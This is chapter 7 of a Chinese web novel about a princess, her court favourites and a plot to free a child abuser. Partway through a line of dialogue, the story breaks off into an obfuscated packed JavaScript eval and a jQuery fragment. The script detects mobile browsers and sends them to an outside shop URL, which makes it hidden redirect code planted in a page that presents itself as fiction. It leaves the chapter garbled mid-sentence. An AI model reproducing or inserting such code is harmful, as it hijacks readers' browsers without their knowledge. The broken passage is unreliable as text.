7. 第 7 章
    “殿下今日还去寒公子那吗?殿下不妨看一看后院里别的人,都是极好的公子哥儿。”孟老陪侍在身边劝道,如果是别人如此得宠,孟老恨不得昭告天下似的庆祝。

    可是为什么是殷寒?这两兄弟眉眼如此相似,宠爱殷寒的每一天孟老都怀疑殿下是不是余情未了。

    每天心惊胆战的。

    苏苏想到那群不省心的就心烦,还主动上门呢,“他们近日里可还安分?如果有不安分的直接赶出府去。”

    公主府后院除了四位拔尖的之外,还有其他后宫众人,每日的饮食起居,那么多人加在一起的开销都是一大笔支出。

    想起前些日子那些人看到殷寒有了这个福分,凭什么他们不行,一个个纷纷涌上来,连带着那怪异的妆容和香粉。

    现在想起来苏苏就像打喷嚏。

    这些人应当都是想装扮成殷楚非的样子,但是配上那奇奇怪怪的妆容,她反而不太清楚这人究竟是个什么样子了。

    “没有什么不安分的,一个个地只是想得到殿下的恩宠罢了。”后院里的争风吃醋只不过是小事,根本入不得殿下的耳。

    他们争抢殿下这才能说明自家殿下的魅力呢。

    孟老想的眉眼弯弯,见殿下眯着眼很不满意的样子,不由得伸头看了看,“殿下画的这是何物?”

    “殷寒……”何物?都不配称之为人了吗?

    孟老见殿下一脸苦楚,深知自己说错了话,打了自己一巴掌,“瞧老奴这张嘴,本想问这是谁?没想到嘴打了个瓢。”

    默默走上前,眼中布满了惊喜,“殿下的这泪痣,简直和寒公子一模一样,还有这寒公子的眼睛一只大一只小,没想到殿下连寒公子眉眼的细节都发现了。”

    苏苏摸了摸头,真的吗?

    她仔细回忆起殷寒的相貌尤其是那眉眼,沉吟片刻,好像还真的有点像。

    苏苏这也是不敢拿给别人看,也不敢跑到正主面前舞,第一幅画得到了别人的认同若说不开心也不太可能。

    她默默收起来,准备哪天拿给殷寒看,顺便问他也要一张。

    看他房间挂满了山水图画,应该对这方面很感兴趣吧。

    一阵冷风袭来,苏苏打了个颤,孟老立马吩咐人把窗户关了,苏苏披了件外衣,“这是要下雨了?”

    “今天瞧这天气是要下场大雨的,不如殿下今晚直接歇了吧。”

    就别去找寒公子了,每天夜间再跑回来算个怎么回事?别寒风侵体就不好了。

    苏苏何等聪慧,自是知道孟老指的是什么,“多批几件衣服就好了,不是什么大事。”关键是殷寒最近学东西还挺入迷的,悟性也高,如果苏苏不看住的话,时常会因此熬到深夜。

    想到那瘦弱的身躯好像她一伸手就能抱得动,好吃好喝的供着他也不长肉。

    当然她也没有亲身试过,那人光碰一下就浑身僵硬。

    雨点很大,砸到花上不片刻便把花给砸焉了,苏苏坐在舆轿上,她本想步行去的,奈何孟老实在不同意,再考虑到某一些因素,苏苏也就同意了。

    到了牧云殿拐角听见破空声,苏苏顿时明白他又来了,林宴舟便是那某一些因素。

    只见他身着单衣,在雨中舞剑,动作如行云流水,他练得是杀人剑,每一个都不花哨,但是极为有力。

    若是普通男宠,苏苏怎么说也得讨教两招,但是林宴舟这杀人剑的目标可是她啊。

    她也就歇了心思。

    但是这人很明显还有用,不然苏苏也不会权衡再三把人放了,苏苏抬头望着这倾盆大雨,这人一身单衣早已淋透,雨水再加上寒风不敢想是怎样一个酸爽滋味。

    苏苏:我不理解,我也大受震撼。

    这人对于剑的执着已经深到如此地步了?苏苏派人将伞送给那人,然后就当一切没有发生过一样离开。

    见到了殷寒,苏苏吐槽起这件事,殷寒顿时想到了他出的主意,顿时一阵头疼,他早该想到,林宴舟哪里想得出什么勾引人的好主意。

    他是不是该让人跟黎喆好好学学,毕竟那人宠眷优渥。

    殷寒盯着这人,想到她曾经对黎喆的偏爱,殷寒没控制住的问道,“殿下很喜欢黎喆吗?”

    苏苏想,应当是有一些的,原来更多的是把黎喆当成宠物一般来看待,现在更多的是一种防备和纵容。

    纵容是因为她查出来黎喆所盗取的财务居然给那些无家可归的人安营扎寨,苏苏很快想到了自己。

    如果当初能有人发现她平和表面下的拮据,也能够有人伸手拉一把就好了。

    苏苏仔细回想着完全没有注意殷寒的脸色,最后不确定地回答道,“应该是喜欢,至少不算讨厌。”

    殷寒不语,无意识的握紧笔杆,这对于苏苏来说似乎已经足够难得了。

    ……

    林宴舟跪在雨中,这雨已经下了一天一夜了,林宴舟铁打的身子也熬不住,此刻跪在寒风中不住的发颤,他今天一定要见到殿下。

    一想到那殷楚非表弟因为□□幼童导致惨死,他就一肚子气,关键是殿下还助纣为虐,看在殷楚非的面子上将那罪犯放走。

    如果是那一堆聚众闹事的也就罢了,这些人本就因为殿下才被拘禁,现殿下不在意也没人会说什么,关键是那罪犯。

    做出这样的事如果放走了他简直是枉顾国法。

    “殿下吩咐了不允许任何人打扰她午休,你疯了?”

    原木直接推开拦住他的人,他们不懂,殿下如今想忘记殷楚非重新开始,根本不可能会继续纵容殷楚非,这其中肯定有蹊跷。

    但是公主府至今还笼罩在过去的阴云里,对殷楚非照样毕恭毕敬,对他的事依旧退避三舍。

    原木便是那个被公主提拔上来的人。

    苏苏简直没想到还有这种事,原木的话她是皱着眉头听完的,“那现在情况如何了?”

    “三法司将人扣住,还没有将人放走,不过殷楚非出面,那应该也差不多了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769367|145664||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    苏苏气的一口老血要喷出来了,这些人一个个干什么吃的,一听说殷楚非派人来了公主府就乱了阵脚,害怕惹祸上身,恨不得直接把这个荡手山芋放走。

    这样的事别说是殷楚非的亲戚,哪怕是皇亲国戚都不能放过。

    “现在林宴舟人呢?”

    原木跪在地上,即刻回复,“还在外面跪着呢。”

    苏苏掀起被褥拿起伞大步走出,“殿下,您的衣服。”原木小跑着把衣物披在苏苏身上,亦步亦趋地跟在身后。

    “怎么不进去?”苏苏将雨伞往前伸了伸,原木眼睛瞪圆,这个时候,他还哪敢自己撑伞啊,连忙给两位贵人撑着,自己则很快被淋成了落汤鸡。

    林宴舟攥着拳,昨夜是第一次被苏苏关注,他也不想拿自己身体开玩笑,但是或许殿下喜欢人被淋透可怜兮兮的样子呢,所以这才来冒险一试。

    他装作脆弱的抬起头,盯着苏苏的眼神带着丝勾引的味道。

    但是苏苏不知道他心里想什么,也看不出勾引的眼神,林宴舟那被淋湿之后衣服贴在肌肉上,那壮硕的身体实在和可怜兮兮和勾引这些词语真的是一点都沾不上边。

    但是奈何林宴舟淋雨淋了一天一夜面色已经面色发白,再好的身体也禁不起这么造。

    苏苏无奈的说道,“无论如何你先回去,剩下的事情交给我。”

    林宴舟颤抖着腿站起身,哆哆嗦嗦的身影苏苏看不下去直接扶住,但是林宴舟根本没坚持住,差点倒了下去。

    为什么说是差点呢?原木盯着苏苏把人揽住的手都惊呆了,现在殿下如此凶猛了吗?

    她现在每天健身,自然比之前要好得多,只是……,“没看见我快撑不住了吗?”

    只是要撑起一个成年男人的身体还是太勉强了,不过如果是殷寒,苏苏还有点自信,不行,她迟早要找他试一下。

    等公主府的马车出现在三法司的时候众人神色各异,殷楚非身边的人顶了顶他的腰杆,“我早就说过咱的大公主不可能抛下你不管。”

    “我还没嫉恨她把林枫打成那样的事呢。”林枫回来的时候鼻青脸肿,整个人骨头都断了几根,她怎么敢的。

    还有家中的那个人,怎么也变得他越来越看不懂了。

    他不懂得为什么这些人要反抗他,她们明明已经规规矩矩那么些年了,想起肖衡说过的话,梵苏苏是因为那个殷寒?

    可笑,一个从小就输给他的人长大了也不可能能战胜他,明明是沾了他的光才能进的公主府。

    那人啧了一声,“你可行了啊,这时候可不能把人给得罪了。”

    如果得罪了,那么多人可都要出不来喽,想起来也怪有趣,他抿着嘴角收敛笑意。

    苏苏搭着原木的手下了马车,她今日穿着一袭黑色罗裙,长发挽起,配上镂空紫玉步摇。

    黑裙的颜色本是低调,但是这人穿莫名格外吸引人的视线,就好像这人是长在骨子里的尊贵和张扬。